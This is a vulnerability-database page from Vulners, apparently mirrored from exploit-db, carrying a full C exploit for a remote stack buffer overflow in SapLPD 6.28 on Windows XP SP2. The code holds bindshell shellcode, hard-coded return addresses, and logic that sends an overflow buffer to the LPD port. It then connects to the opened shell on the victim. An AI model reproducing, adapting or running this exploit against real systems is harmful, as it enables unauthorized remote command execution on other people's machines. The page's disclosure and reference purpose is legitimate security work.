Lucene search
K

SapLPD 6.28 (Windows x86) - Remote Buffer Overflow

🗓️ 07 Feb 2008 00:00:00Reported by BackBoneType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

SapLPD 6.28 (Windows x86) Remote Buffer Overflow exploit for SapLPD 6.28 on Windows XP SP2. Includes shellcode for bindshell

Code
/*
	http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html

	Exploit for SapLPD 6.28 Win32 by BackBone
	Tested with SapLPD 6.28 on Windows XP SP2

	Groetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest!
*/

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")

#define DEFAULT_PORT 515

char ASCII_SHIT[]=
"\r\n"
"\t\t   ______              ______\r\n"  
"\t\t  (, /   )        /)  (, /   )\r\n"
"\t\t    /---(  _   _ (/_    /---(  _____    _\r\n" 
"\t\t ) / ____)(_(_(__/(__) / ____)(_) / (__(/_\r\n"
"\t\t(_/ (               (_/ (    (c) 2008\r\n"
"\r\n";

struct
{
	LPSTR lpVersion;
	DWORD dwOffset;
	DWORD dwRetAddr;
	BYTE  bLPDCmd;
}
targets[]=
{
	// exploit works with cmd 0x01,0x02,0x03,...
	{"SAPLPD Version 6.28 for Windows/NT (TEST)",484,0x0012F0A1,0x01}, // addr of shellcode -> 0x0012F0A1
	{"SAPLPD Version 6.28 for Windows/NT",484,0x004E0BB7,0x01}, // jmp esp 0x004E0BB7 -> SAPLpd.exe 6.28
},v;


// don't change the offset
#define PORT_OFFSET 170
#define BIND_PORT   10282

// bindshell shellcode from www.metasploit.com,mod by skylined
unsigned char shellcode[] =
  "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
  "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
  "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
  "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
  "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
  "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
  "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
  "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
  "\x83\xc4\x5c\x61\xeb\x89";

#define SET_BIND_PORT(p) *(USHORT*)(shellcode+PORT_OFFSET)=htons(p);

BOOL StartupWinsock(void)
{
	WSADATA wsa;

	return !WSAStartup(MAKEWORD(2,0),&wsa);
}

DWORD LookupAddress(LPSTR lpHost)
{
	DWORD dwRemoteAddr=inet_addr(lpHost);

	if (dwRemoteAddr==INADDR_NONE)
	{
		struct hostent* pHostEnt=gethostbyname(lpHost);
		if (pHostEnt==0)
			return INADDR_NONE;
		dwRemoteAddr = *((DWORD*)pHostEnt->h_addr_list[0]);
	}

	return dwRemoteAddr;
}

SOCKET TCPConnect(DWORD dwIP,WORD wPort,DWORD dwTimeout)
{
	struct sockaddr_in sock_in;
	struct timeval timeout;
	DWORD fdWrite[2];
	DWORD fdExcept[2];
	SOCKET s;
	int slResult;
	int val=1,len=sizeof(int);
	
	s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (s==INVALID_SOCKET)
		return SOCKET_ERROR;

	ioctlsocket(s,FIONBIO,(u_long*)&val);

	fdWrite[0]=fdExcept[0]=1;
	fdWrite[1]=fdExcept[1]=s;

	memset(&sock_in,0,sizeof(sock_in));
	sock_in.sin_port=wPort;
	sock_in.sin_family=AF_INET;
	sock_in.sin_addr.s_addr=dwIP;

	connect(s,(struct sockaddr*)&sock_in,sizeof(sock_in));

	timeout.tv_sec=dwTimeout/1000;
	timeout.tv_usec=dwTimeout%1000;

	slResult=select(0,NULL,(fd_set*)&fdWrite,(fd_set*)&fdExcept,&timeout);
	switch(slResult)
	{
		case -1:
		case 0:
		{
			closesocket(s);
			return SOCKET_ERROR;
		}

		default:
		{
			if (!FD_ISSET(s,(fd_set*)&fdExcept)) 
			{
				val=0;ioctlsocket(s,FIONBIO,(u_long*)&val);
				return s;
			}
			break;
		}
	}

	closesocket(s);
	return SOCKET_ERROR;
}

/* ripped from TESO code and modifed by ey4s for win32 */
void Shell(int s)
{
	int l;
	char buf[512];
	struct timeval time;
	unsigned long ul[2];

	time.tv_sec=1;
	time.tv_usec=0;

	while(1)
	{
		ul[0]=1;
		ul[1]=s;

		l=select(0,(fd_set*)&ul,NULL,NULL,&time);
		if(l==1)
		{
			l=recv(s,buf,sizeof(buf),0);
			if (l<=0)
			{
				printf("\r\n[-] connection closed.\n");
				return;
			}
			l=write(1,buf,l);
			if (l<=0)
			{
				printf("\r\n[-] connection closed.\n");
				return;
			}
		}
		else
		    {
			l=read(0,buf,sizeof(buf));
			if (l<=0)
			{
				printf("\r\n[-] connection closed.\n");
				return;
			}
			l=send(s,buf,l,0);
			if (l<=0)
			{
				printf("\r\n[-] connection closed.\n");
				return;
			}
		}
	}
}

void ShowBanner(void)
{
	printf("%s",ASCII_SHIT);
}

void ShowSploit(void)
{
	printf("\t\tSAPlpd 6.28 Multiple Remote Buffer Overflows\r\n");
	printf("\t\t        Advisory by Luigi Auriemma\r\n");
	printf("\t\t           Exploit By BackBone\r\n");
	printf("\r\n");
}

void ShowUsage(char* argv)
{
	int i;

	printf("[*] %s host/ip[:port] target [bindport]\r\n",argv);
	printf("[*] Default port: %d - Default bindport: %d\r\n",DEFAULT_PORT,BIND_PORT);
	printf("[*] Target(s):\r\n\r\n");
	for (i=0;i<(sizeof(targets)/sizeof(v));i++)
		printf("\t%2d: %s (0x%08x)\r\n",i,targets[i].lpVersion,targets[i].dwRetAddr);
}

int main(int argc, char* argv[])
{
	LPSTR lpHost,lpPort;
	ULONG ulIP;
	USHORT usPort;
	USHORT usBindPort;
	SOCKET sSock;
	int iTarget;
	int iLen=0;
	char lpBuffer[16384];

	ShowBanner();
	ShowSploit();

	// check arguments
	if (argc<3||argc>4)
	{
		ShowUsage(argv[0]);
		return -1;
	}

	// get host/ip
	lpHost=strtok(argv[1],":");
	// get port
	lpPort=strtok(NULL,":");
	if (lpPort)	usPort=(USHORT)atoi(lpPort);
	else usPort=DEFAULT_PORT;

	// startup winsock
	if (!StartupWinsock())
	{
		printf("[-] WSAStartup() Failed.\r\n");
		return -1;
	}

	// resolve host
	ulIP=LookupAddress(lpHost);
	if (ulIP==INADDR_NONE)
	{
		printf("[-] Invalid IP/Host.\r\n");
		WSACleanup();
		return -1;
	}

	// get target 
	iTarget=atoi(argv[2]);
	if (iTarget<0||iTarget>(sizeof(targets)/sizeof(v))-1)
	{
		printf("[-] Invalid target.\r\n");
		WSACleanup();
		return -1;
	}

	printf("[+] Target: %s (0x%08x)\r\n",targets[iTarget].lpVersion,targets[iTarget].dwRetAddr);

	if (argc==4) usBindPort=(USHORT)atoi(argv[3]);
	else usBindPort=BIND_PORT;
	SET_BIND_PORT(usBindPort);

	// connecting
	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulIP&0xFF,(ulIP>>8)&0xFF,
		(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usPort);

	// connect
	sSock=TCPConnect(ulIP,htons(usPort),10000);
	if (sSock==SOCKET_ERROR)
	{
		printf("Failed!\r\n");
		WSACleanup();
		return -1;
	}

	printf("Ok.\r\n");

	// construct buffer
	memset(lpBuffer,0,sizeof(lpBuffer));

	*lpBuffer=targets[iTarget].bLPDCmd;
	iLen+=1;

	memset(lpBuffer+iLen,0x90,targets[iTarget].dwOffset-sizeof(shellcode));
	iLen+=targets[iTarget].dwOffset-sizeof(shellcode);

	memcpy(lpBuffer+iLen,shellcode,sizeof(shellcode));
	iLen+=sizeof(shellcode);

	memcpy(lpBuffer+iLen,&targets[iTarget].dwRetAddr,4);
	iLen+=4;	

	memcpy(lpBuffer+iLen,"\xE9\x98\x08\x00\x00",5); // jmp esp will execute this code, jmp to shellcode
	iLen+=5;

	memset(lpBuffer+iLen,0x41,1);// saplpd zeroes this byte
	iLen+=1;

	printf("[+] Sending buffer (size:%d) ... ",iLen);

	// send buffer
	if (send(sSock,lpBuffer,iLen,0)<=0)
	{
		printf("Failed!\r\n");
		WSACleanup();
		return -1;
	}

	printf("Ok.\r\n");
	
	closesocket(sSock);

	Sleep(1000);

	// connecting
	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulIP&0xFF,(ulIP>>8)&0xFF,
		(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usBindPort);

	// connect to bindshell
	sSock=TCPConnect(ulIP,htons(usBindPort),10000);
	if (sSock==SOCKET_ERROR)
	{
		printf("Failed!\r\n");
		WSACleanup();
		return -1;
	}

	printf("Ok.\r\n\r\n");

	// shell
	Shell(sSock);

	closesocket(sSock);

	WSACleanup();
	
	return 0;
}

// milw0rm.com [2008-02-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Feb 2008 00:00Current
7.4High risk
Vulners AI Score7.4
27